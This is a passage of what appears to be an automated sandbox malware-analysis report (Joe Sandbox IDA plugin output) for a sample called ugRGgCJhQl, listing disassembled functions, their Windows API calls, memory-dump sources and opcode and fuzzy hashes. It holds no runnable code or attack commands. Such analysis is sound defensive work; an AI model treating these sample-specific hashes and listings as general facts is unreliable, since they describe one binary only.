                                                                        • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,003119EF,?,?,00000008,?,?,0031168F,00000000), ref: 00311C21
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionRaise
                                                                        • String ID:
                                                                        • API String ID: 3997070919-0
                                                                        • Opcode ID: 3f91f53f7b92f4b939a1aa40aa76ed25d862a221a246a990bf959215b0226885
                                                                        • Instruction ID: 3568cd5b04a0f121bc19f6dfef9b7c5e11ead55e21ff88c93009710b50b1e617
                                                                        • Opcode Fuzzy Hash: 3f91f53f7b92f4b939a1aa40aa76ed25d862a221a246a990bf959215b0226885
                                                                        • Instruction Fuzzy Hash: CDB13D35610609DFD71ACF28C48ABE57BE0FF49364F268658E99ACF2A1C335D991CB40
                                                                        Function 002FF654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 002FF66A
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FeaturePresentProcessor
                                                                        • String ID:
                                                                        • API String ID: 2325560087-0
                                                                        • Opcode ID: 45073c14e1fb85b24124c1742ebb66594de37bd0a5434107bcf4774438fa7f10
                                                                        • Instruction ID: db357c50e21ec8450589a21d32e13733d37b5eb13f37291dc0b8829489a2d119
                                                                        • Opcode Fuzzy Hash: 45073c14e1fb85b24124c1742ebb66594de37bd0a5434107bcf4774438fa7f10
                                                                        • Instruction Fuzzy Hash: 44517CB191060A8FEB56CF54D9816BAFBF8FB49384F248439C901EB250D375A950CB50
                                                                        Function 002EB146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetVersionExW.KERNEL32(?), ref: 002EB16B
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Version
                                                                        • String ID:
                                                                        • API String ID: 1889659487-0
                                                                        • Opcode ID: 14e2befa497ebcfc4f134a5ed005382d2cf2f8dc6d6ac8f3f38b31c4dea4bb11
                                                                        • Instruction ID: ed4d4d0fba33e319c937b06c4d11fb79b25582de24dce5728117561c7f1c18d4
                                                                        • Opcode Fuzzy Hash: 14e2befa497ebcfc4f134a5ed005382d2cf2f8dc6d6ac8f3f38b31c4dea4bb11
                                                                        • Instruction Fuzzy Hash: CEF054B4D102488FDB2ACF19ED916D673F9F75C315F1082A9DA1993390C3B0AD85CE60
                                                                        Function 002E40FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: gj
                                                                        • API String ID: 0-4203073231
                                                                        • Opcode ID: e66148ab5ceed8e4fef85047db308f7915157eaf88bfd53f6d125255f0c2f25b
                                                                        • Instruction ID: 567ec0e07a551bcddf03ae5447368c1b788a18ad8d46904cc6dd523fceb6a484
                                                                        • Opcode Fuzzy Hash: e66148ab5ceed8e4fef85047db308f7915157eaf88bfd53f6d125255f0c2f25b
                                                                        • Instruction Fuzzy Hash: 4AC14772A183818FC354CF29D88065AFBE1BFC8308F19892DE998D7311D734E955CB96
                                                                        Function 002FF9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,002FF3A5), ref: 002FF9DA
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterUnhandled
                                                                        • String ID:
                                                                        • API String ID: 3192549508-0
                                                                        • Opcode ID: 119266054523db34dc9631ee30be4ee81f532f7d29f85d1ea225b20a7746bdb1
                                                                        • Instruction ID: 80919badf8be721003a309b0c6b0f1df3cf0714c1fb44112485e894585d3fc85
                                                                        • Opcode Fuzzy Hash: 119266054523db34dc9631ee30be4ee81f532f7d29f85d1ea225b20a7746bdb1
                                                                        • Instruction Fuzzy Hash:
                                                                        Function 0030C030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: HeapProcess
                                                                        • String ID:
                                                                        • API String ID: 54951025-0
                                                                        • Opcode ID: a64e2463c879f8d1249d016b48d90318b96805074571da3e1a2d10aab3557ff8
                                                                        • Instruction ID: 5b379d3a3202f2bf9ccf5cccf6c69c112e1665517e2d4fa5e2e9c7c6a8f0fd43
                                                                        • Opcode Fuzzy Hash: a64e2463c879f8d1249d016b48d90318b96805074571da3e1a2d10aab3557ff8
                                                                        • Instruction Fuzzy Hash: CEA01230101100DB83018F305E082493A9C5505380B0540256805C4020DA2440505700
                                                                        Function 002F62CA Relevance: .8, Instructions: 829COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
                                                                        • Instruction ID: dfec62c63d62886b3990fa0fae4b6cb20634e994e924cdd58bda8f0452044d42
                                                                        • Opcode Fuzzy Hash: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
                                                                        • Instruction Fuzzy Hash: 3262F2716247899FCB25CF28C8946B9FBE1EF95344F08897DD9EA8B342D630E954CB10
                                                                        Function 002F77EF Relevance: .8, Instructions: 817COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
                                                                        • Instruction ID: 2eafe564c73669b69c7ca2e7511ef5c70c86ca65587910faa446cd471806a5b9
                                                                        • Opcode Fuzzy Hash: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
                                                                        • Instruction Fuzzy Hash: D56219716183498FCB15CF28C880AB9FBE1BF95344F08857DE99A8B346D730E955CB11
                                                                        Function 002EF461 Relevance: .7, Instructions: 694COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
                                                                        • Instruction ID: d8b5aef8663b9d71437818cddb81e47dffc95b6a75780e6b40c6fddfdee998dc
                                                                        • Opcode Fuzzy Hash: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
                                                                        • Instruction Fuzzy Hash: B7523A72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86
                                                                        Function 002F7153 Relevance: .5, Instructions: 536COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: e951e7f9fef666e80507f730e60c293c91936fa26637d9f1727743180356ed19
                                                                        • Instruction ID: 79bfa7928d4af7687b8c8e84a1f9df28e970c33cbb9ed6e1f867176c674ffc20
                                                                        • Opcode Fuzzy Hash: e951e7f9fef666e80507f730e60c293c91936fa26637d9f1727743180356ed19
                                                                        • Instruction Fuzzy Hash: 3D12B1B162870A9BC718CF28C890AB9F7E1FF94344F10493EEA96C7781D374A5A5CB45
                                                                        Function 002EC426 Relevance: .5, Instructions: 454COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 8757885c8bbf0cc1351e92cd88ddad7f4ceb342e9c584b6718a9fcb33431479d
                                                                        • Instruction ID: d6a6a7aba97590ceec9cd4cd2e86faf2f1772d2b9e4eb113611a1750a75bd6ee
                                                                        • Opcode Fuzzy Hash: 8757885c8bbf0cc1351e92cd88ddad7f4ceb342e9c584b6718a9fcb33431479d
                                                                        • Instruction Fuzzy Hash: 74F1DF316983818FC718CF6AC49462EBBE5EFCA314FA44A2EF4C587256D730D956CB42
                                                                        Function 002F6CDC Relevance: .3, Instructions: 343COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: cc0d125b9acaa7a5dbe134a22b51bea2b1016684cb336a31b62a5a6e445a660f
                                                                        • Instruction ID: ecc9582cdcead75fc4f7891084d94b4b2eb2bcbb498227ef799e338b9723fe0a
                                                                        • Opcode Fuzzy Hash: cc0d125b9acaa7a5dbe134a22b51bea2b1016684cb336a31b62a5a6e445a660f
                                                                        • Instruction Fuzzy Hash: 42D1C3716183498FDB14CF28C8447ABFBE1EF89348F04457DEA899B242D774E924CB56
                                                                        Function 002EE9B7 Relevance: .3, Instructions: 320COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: f79ae040f10deb382d6a178f92660347095136a82f41d0d2bb6feb3c69351261
                                                                        • Instruction ID: 838ef04edf6483bab1c4884fc24592d19ac8280f6b19bec6b1a06cf1118835c5
                                                                        • Opcode Fuzzy Hash: f79ae040f10deb382d6a178f92660347095136a82f41d0d2bb6feb3c69351261
                                                                        • Instruction Fuzzy Hash: A2E16C755083948FC315CF29D89086ABFF0AF9A300F45495EF9D497392C335EA1ADB92
                                                                        Function 002F4088 Relevance: .3, Instructions: 270COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
                                                                        • Instruction ID: 0691785f53fc5d28145e06b2b063dcc67882087107d94a3143c84bc4976d2e9d
                                                                        • Opcode Fuzzy Hash: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
                                                                        • Instruction Fuzzy Hash: 56915AB022034E4BD724FE64D894BBFB7D4EB90344F50093DEB9A87281DAB4A565C752
                                                                        Function 002F43BF Relevance: .2, Instructions: 243COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
                                                                        • Instruction ID: dd32feca6fef4d71c82766705b5cfd3ca5b346761629930d59003e3cc7578ffa
                                                                        • Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
                                                                        • Instruction Fuzzy Hash: AD81517172434E4BDB24FE68C8D0B7FB7D4ABA0744F40093DE78687281DAF499A58751
                                                                        Function 003051C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: ed1b010f6ca204aeb92123479ec766d7c3167b49dfea5cd765f69370876c1fa1
                                                                        • Instruction ID: ab3710e0a3d37367740e18aca13fed1a7538cce74b6ed96546516c48b2a78bf4
                                                                        • Opcode Fuzzy Hash: ed1b010f6ca204aeb92123479ec766d7c3167b49dfea5cd765f69370876c1fa1
                                                                        • Instruction Fuzzy Hash: D1615635602F0867DE3B9A6898B57BF239CEF12340F150D5AE482DF6C1D251DD428E15
                                                                        Function 00304F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
                                                                        • Instruction ID: a42502fd844ecae6d0db2e303c0f00413340ccc012de92a7c776b22d73904312
                                                                        • Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
                                                                        • Instruction Fuzzy Hash: A4514AB1603F4557DF3B5928857ABBF27C99B01300F190819E983CB6C2C615EE45CFA6
                                                                        Function 002EEFE2 Relevance: .2, Instructions: 161COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: af31620053fa1c1b52e4701b54607e1c04de1a349b7d81ab517ee6b882995f05
                                                                        • Instruction ID: bbd0a690161b76de68c7b4d4eae4530b874c36b412ed2c3af3cdc22e1556a93a
